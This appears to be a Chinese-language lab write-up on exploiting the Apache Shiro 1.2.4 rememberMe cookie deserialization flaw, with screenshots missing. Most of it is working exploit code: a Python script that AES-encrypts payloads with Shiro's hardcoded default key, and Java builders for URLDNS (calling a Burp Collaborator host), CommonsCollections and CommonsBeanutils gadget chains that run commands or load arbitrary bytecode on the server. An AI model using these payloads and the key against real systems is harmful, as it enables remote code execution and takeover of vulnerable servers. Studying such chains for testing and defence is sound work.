dnslog

下载https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4

打开web项目,改一下pom.xml

image-20220605155447136

添加version

image-20220605155539053

image-20220605155605630

image-20220730195344391

image-20220730195405211

image-20220605160749710

image-20220605160829014

image-20220605160846417

这里返回了一个极大的cookie,根据经验来看,可能存储了用户的相关信息,推测可能是反序列化

两下shift 找到了这个

image-20220605161101753

我们先看到这个rememberSerializedIdentity()方法可以清楚的看到对数组进行了base64加密操作,接着将base64存入了cookie中

image-20220730210502441

这里的getRememberedSerializedIdentity()方法也可以看出来先获取了cookie中的值

image-20220730210722200

image-20220730210817612

返回了一个decoded数组,我们接着去看看谁调用的这个解码函数 也可以看到AbstractRememberMeManager类的getRememberedPrincipals()方法调用的

image-20220730211249858

image-20220730211915192

这里又接着去调用了decrpt()方法去解密

image-20220730211936678

这里去get了密钥

image-20220730212059776

我们去看看这个decryptionCipherKey是如何赋值的

image-20220730212123744

这里我们也是主要去看set值的地方

image-20220730212216810

接着找

image-20220730212310899

接着找

image-20220730212501710

可以看到这里的值是一个常量

image-20220730212541740

这样我们就可以通过aes算法加base64来构造payload了

加个插件

image-20220605162519354

这里发现cc只是在test阶段,也就是说cc链其实是没有被最后使用的,所以我们不能打cc链

image-20220605162616955

先安包

pip install crypto
pip install pycryptodome

写一下aes利用代码

import sys
import base64
import uuid

from Crypto.Cipher import AES

def get_file_data(filename):
with open(filename,"rb") as f:
data = f.read()
return data

def aes_enc(data):
BS = AES.block_size
pad = lambda s:s +((BS - len(s)% BS) * chr(BS-len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key),mode,iv)
ciphertext = base64.b64encode(iv+encryptor.encrypt(pad(data)))
return ciphertext

def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s : s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext

if __name__ == '__main__':
data = get_file_data("ser.bin")
print(aes_enc(data))

如果还是不行的话就改一下文件名从小写crypto改成Crypto

image-20220605165808046

urldns的链

package org.example;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class urldns {
public static void main(String[] args) throws Exception {
// 先得到入口点HashMap对象
HashMap<URL, Integer> objectObjectHashMap = new HashMap<>();
// 这里是得到url对象,也就是我们需要去利用的,准备好put进入hashmap
URL url = new URL("http://p9zs4jjd3p33527y055v96861x7nvc.burpcollaborator.net");
// 先利用反射将URL类的hashcode进行更改
// 获取url类的class对象
Class<? extends URL> urlClass = url.getClass();
// 获取hashCode属性
Field hashCodeField = urlClass.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url,111);
// 到这里值已经准备好了

// 将准备好的值put进去
objectObjectHashMap.put(url,1);

// 将hashCode更改回-1
hashCodeField.set(url,-1);

serilize(objectObjectHashMap);
// unserilize("ser.bin");


}
public static void serilize(Object obj)throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);

}
public static Object unserilize(String Filename) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object o = objectInputStream.readObject();
return o;
}

}

image-20220605170257048

这里直接打的话还是root登录状态,但是其实我们已经换了key了,这说明这个jsessionid也在起作用

image-20220605170353248

删去之后也是正常收到了dns请求

image-20220605170400586

看一下怎么反序列化的 在DefaultSerializer类的deserialize()

image-20220605180831596

接着我们知道这里的readObject之后就会调用到HashMap的readObject中,所以我们去HashMap下个断点

image-20220605181030372

cc链

既然要打cc就需要加一个cc的依赖

image-20220605184954264

这里如果直接用cc6来试试看

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();


// 现在我们开始更改,也就是在put的时候我们是不能触发这条链的 我们可以更改chainedTransformer transformers LazyMap
// 这里原来放的是chainedTransformer 我们给他放一个空的
Map lazyMap = LazyMap.decorate(objectObjectHashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> objectObjectHashMap1 = new HashMap<>();
objectObjectHashMap1.put(tiedMapEntry,"bbb");

// 这里将aaa删除
lazyMap.remove("aaa");

// 我们来改回factory
Class<LazyMap> lazyMapClass = LazyMap.class;
// 获取这个factory
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
// 这里我们在改回chainedTransformer
factoryField.set(lazyMap,chainedTransformer);

serialize(objectObjectHashMap1);
// unserialize("ser.bin");




}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

可见这里出现了问题

image-20220605182301393

从这里看用的不是原生的readObject我们跟过去看看

image-20220605182409164

这里可以看到重写了resolveClass,使用的是ClassUtils的forName,

image-20220605182429123

原生的是CLass

image-20220605182712101

可以看到这个注释

image-20220605182544932

首先是加载一个HashMap

image-20220605192345491

这里可以简单的理解为这个CLassUtil不能处理transform数组,而原生的可以处理,因此我们需要构造一条没有transform数组的链

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class SCC {
public static void main(String[] args) throws Exception {
// CC3
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte [] code = Files.readAllBytes(Paths.get("D:\\Download\\cc\\target\\classes\\org\\example\\Test.class"));
byte [][] codes = {code};
bytecodes.set(templates,codes);

// CC2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
// 现在我们开始更改,也就是在put的时候我们是不能触发这条链的 我们可以更改chainedTransformer transformers LazyMap
// 这里原来放的是chainedTransformer 我们给他放一个空的
Map lazyMap = LazyMap.decorate(objectObjectHashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> objectObjectHashMap1 = new HashMap<>();
objectObjectHashMap1.put(tiedMapEntry,"bbb");

// 这里将aaa删除
lazyMap.remove(templates);

// 我们来改回factory
Class<LazyMap> lazyMapClass = LazyMap.class;
// 获取这个factory
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
// 这里我们在改回chainedTransformer
factoryField.set(lazyMap,invokerTransformer);

serialize(objectObjectHashMap1);
// unserialize("ser.bin");




}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

image-20220605185126846

无依赖

删除

image-20220605193815546

我们要打的就是左边lib的commons-benutils

在本地测试项添加依赖

image-20220605194536849

Persion.java

package org.example;

public class Persion {
private String name;
public int age;

public void action(){
System.out.println("action test");
}
@Override
public String toString() {
return "Persion{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public Persion() {
}

public Persion(String name, int age) {
this.name = name;
this.age = age;
}
}

package org.example;
import org.apache.commons.beanutils.PropertyUtils;
public class BeanTest {
public static void main(String[] args) throws Exception{
Persion persion = new Persion("aaa", 18);
System.out.println(PropertyUtils.getProperty(persion,"name"));
}
}

image-20220605194626331

源码下不下来 官网下https://repo1.maven.org/maven2/commons-beanutils/commons-beanutils/1.8.3/

image-20220605200939007

image-20220605201110506

image-20220605201124722

image-20220605201317980

走到了这里

image-20220605201552152

可见这里走出来之后得到了这个

image-20220605201827468

有个invoke方法

image-20220605201851825

现在要去找谁调用考虑getProperty

image-20220605204004098

找到了这个BeanComprator

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class BeanTest {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());


byte [] code = Files.readAllBytes(Paths.get("D:\\Download\\cc\\target\\classes\\org\\example\\Test.class"));
byte [][] codes = {code};
bytecodes.set(templates,codes);

BeanComparator beanComparator = new BeanComparator("outputProperties");

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(templates);
priorityQueue.add(2);

Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
Field comparator = priorityQueueClass.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,beanComparator);


serialize(priorityQueue);
unserialize("ser.bin");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

测试一下,可以先清理一下,在重启apache

image-20220605205820671

这里发现没有加载到这个ComparableComparator,原因是这个是cc的,我们需要改成不是cc的

image-20220605210220758

可发现下面还有一个构造函数

image-20220605210301237

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class BeanTest {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());


byte [] code = Files.readAllBytes(Paths.get("D:\\Download\\cc\\target\\classes\\org\\example\\Test.class"));
byte [][] codes = {code};
bytecodes.set(templates,codes);

BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(templates);
priorityQueue.add(2);

Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
Field comparator = priorityQueueClass.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,beanComparator);


serialize(priorityQueue);
unserialize("ser.bin");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

image-20220605210347234